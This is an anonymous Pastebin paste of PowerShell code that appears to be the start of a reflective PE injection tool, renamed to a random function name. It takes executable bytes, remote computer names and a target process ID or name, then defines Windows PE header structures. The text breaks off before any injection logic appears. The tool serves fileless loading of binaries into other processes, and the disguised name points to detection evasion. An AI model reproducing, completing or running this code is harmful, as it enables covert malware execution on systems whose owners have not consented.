SHARE
TWEET

Untitled

a guest Jul 24th, 2019 98 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2. function Invoke-RBHFGMAFDHVSUGT
  3. {
  4.  
  5. [CmdletBinding()]
  6. Param(
  7.     [Parameter(Position = 0, Mandatory = $true)]
  8.     [ValidateNotNullOrEmpty()]
  9.     [Byte[]]
  10.     $PEBytes,
  11.  
  12.     [Parameter(Position = 1)]
  13.     [String[]]
  14.     $ComputerName,
  15.  
  16.     [Parameter(Position = 2)]
  17.     [ValidateSet( 'WString', 'String', 'Void' )]
  18.     [String]
  19.     $FuncReturnType = 'Void',
  20.  
  21.     [Parameter(Position = 3)]
  22.     [String]
  23.     $ExeArgs,
  24.  
  25.     [Parameter(Position = 4)]
  26.     [Int32]
  27.     $ProcId,
  28.  
  29.     [Parameter(Position = 5)]
  30.     [String]
  31.     $ProcName,
  32.  
  33.     [Switch]
  34.     $ForceASLR,
  35.  
  36.     [Switch]
  37.     $DoNotZeroMZ
  38. )
  39.  
  40. Set-StrictMode -Version 2
  41.  
  42.  
  43. $RemoteScriptBlock = {
  44.     [CmdletBinding()]
  45.     Param(
  46.         [Parameter(Position = 0, Mandatory = $true)]
  47.         [Byte[]]
  48.         $PEBytes,
  49.  
  50.         [Parameter(Position = 1, Mandatory = $true)]
  51.         [String]
  52.         $FuncReturnType,
  53.  
  54.         [Parameter(Position = 2, Mandatory = $true)]
  55.         [Int32]
  56.         $ProcId,
  57.  
  58.         [Parameter(Position = 3, Mandatory = $true)]
  59.         [String]
  60.         $ProcName,
  61.  
  62.         [Parameter(Position = 4, Mandatory = $true)]
  63.         [Bool]
  64.         $ForceASLR
  65.     )
  66.  
  67.     Function Get-Win32Types
  68.     {
  69.         $Win32Types = New-Object System.Object
  70.  
  71.         $Domain = [AppDomain]::CurrentDomain
  72.         $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly')
  73.         $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
  74.         $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false)
  75.         $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
  76.  
  77.         $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16])
  78.         $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null
  79.         $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null
  80.         $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null
  81.         $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null
  82.         $MachineType = $TypeBuilder.CreateType()
  83.         $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType
  84.  
  85.  
  86.         $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16])
  87.         $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null
  88.         $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null
  89.         $MagicType = $TypeBuilder.CreateType()
  90.         $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType
  91.  
  92.  
  93.         $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16])
  94.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null
  95.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null
  96.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null
  97.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null
  98.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null
  99.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null
  100.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null
  101.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null
  102.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null
  103.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null
  104.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null
  105.         $SubSystemType = $TypeBuilder.CreateType()
  106.         $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType
  107.  
  108.  
  109.         $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16])
  110.         $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null
  111.         $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null
  112.         $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null
  113.         $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null
  114.         $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null
  115.         $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null
  116.         $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null
  117.         $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null
  118.         $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null
  119.         $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null
  120.         $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null
  121.         $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null
  122.         $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null
  123.         $DllCharacteristicsType = $TypeBuilder.CreateType()
  124.         $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType
  125.  
  126.  
  127.  
  128.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
  129.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8)
  130.         ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null
  131.         ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null
  132.         $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType()
  133.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY
  134.  
  135.  
  136.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  137.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20)
  138.         $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null
  139.         $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null
  140.         $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
  141.         $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null
  142.         $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null
  143.         $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null
  144.         $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null
  145.         $IMAGE_FILE_HEADER = $TypeBuilder.CreateType()
  146.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER
  147.  
  148.  
  149.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
  150.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240)
  151.         ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
  152.         ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
  153.         ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
  154.         ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
  155.         ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
  156.         ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
  157.         ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
  158.         ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
  159.         ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null
  160.         ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
  161.         ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
  162.         ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
  163.         ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
  164.         ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
  165.         ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
  166.         ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
  167.         ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
  168.         ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
  169.         ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
  170.         ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
  171.         ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
  172.         ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
  173.         ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
  174.         ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null
  175.         ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null
  176.         ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null
  177.         ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null
  178.         ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null
  179.         ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null
  180.         ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
  181.         ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
  182.         ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
  183.         ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
  184.         ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
  185.         ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
  186.         ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
  187.         ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
  188.         ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
  189.         ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
  190.         ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
  191.         ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
  192.         ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
  193.         ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
  194.         ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null
  195.         ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null
  196.         $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType()
  197.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64
  198.  
  199.  
  200.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
  201.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224)
  202.         ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
  203.         ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
  204.         ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
  205.         ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
  206.         ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
  207.         ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
  208.         ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
  209.         ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
  210.         ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null
  211.         ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null
  212.         ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
  213.         ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
  214.         ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
  215.         ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
  216.         ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
  217.         ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
  218.         ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
  219.         ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
  220.         ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
  221.         ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
  222.         ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
  223.         ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
  224.         ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
  225.         ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
  226.         ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null
  227.         ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null
  228.         ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null
  229.         ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null
  230.         ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null
  231.         ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null
  232.         ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null
  233.         ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null
  234.         ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
  235.         ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
  236.         ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
  237.         ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
  238.         ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
  239.         ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
  240.         ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
  241.         ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
  242.         ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
  243.         ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
  244.         ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
  245.         ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
  246.         ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
  247.         ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
  248.         $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType()
  249.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32
  250.  
  251.  
  252.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  253.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264)
  254.         $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
  255.         $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
  256.         $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null
  257.         $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType()
  258.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64
  259.  
  260.  
  261.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  262.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248)
  263.         $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
  264.         $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
  265.         $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null
  266.         $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType()
  267.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32
  268.  
  269.  
  270.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  271.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64)
  272.         $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null
  273.         $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null
  274.         $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null
  275.         $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null
  276.         $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null
  277.         $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null
  278.         $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null
  279.         $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null
  280.         $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null
  281.         $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null
  282.         $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null
  283.         $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null
  284.         $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null
  285.         $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null
  286.  
  287.         $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal')
  288.         $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
  289.         $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
  290.         $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4))
  291.         $e_resField.SetCustomAttribute($AttribBuilder)
  292.  
  293.         $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null
  294.         $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null
  295.  
  296.         $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal')
  297.         $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
  298.         $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10))
  299.         $e_res2Field.SetCustomAttribute($AttribBuilder)
  300.  
  301.         $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null
  302.         $IMAGE_DOS_HEADER = $TypeBuilder.CreateType()
  303.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER
  304.  
  305.  
  306.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  307.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40)
  308.  
  309.         $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal')
  310.         $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
  311.         $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8))
  312.         $nameField.SetCustomAttribute($AttribBuilder)
  313.  
  314.         $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null
  315.         $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
  316.         $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null
  317.         $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null
  318.         $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null
  319.         $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null
  320.         $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null
  321.         $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null
  322.         $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
  323.         $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType()
  324.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER
  325.  
  326.  
  327.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  328.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8)
  329.         $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
  330.         $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null
  331.         $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType()
  332.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION
  333.  
  334.  
  335.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  336.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20)
  337.         $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
  338.         $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
  339.         $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null
  340.         $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
  341.         $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null
  342.         $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType()
  343.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR
  344.  
  345.  
  346.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  347.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40)
  348.         $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
  349.         $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
  350.         $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null
  351.         $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null
  352.         $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
  353.         $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null
  354.         $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null
  355.         $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null
  356.         $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null
  357.         $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null
  358.         $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null
  359.         $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType()
  360.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY
  361.  
  362.  
  363.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  364.         $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8)
  365.         $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
  366.         $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null
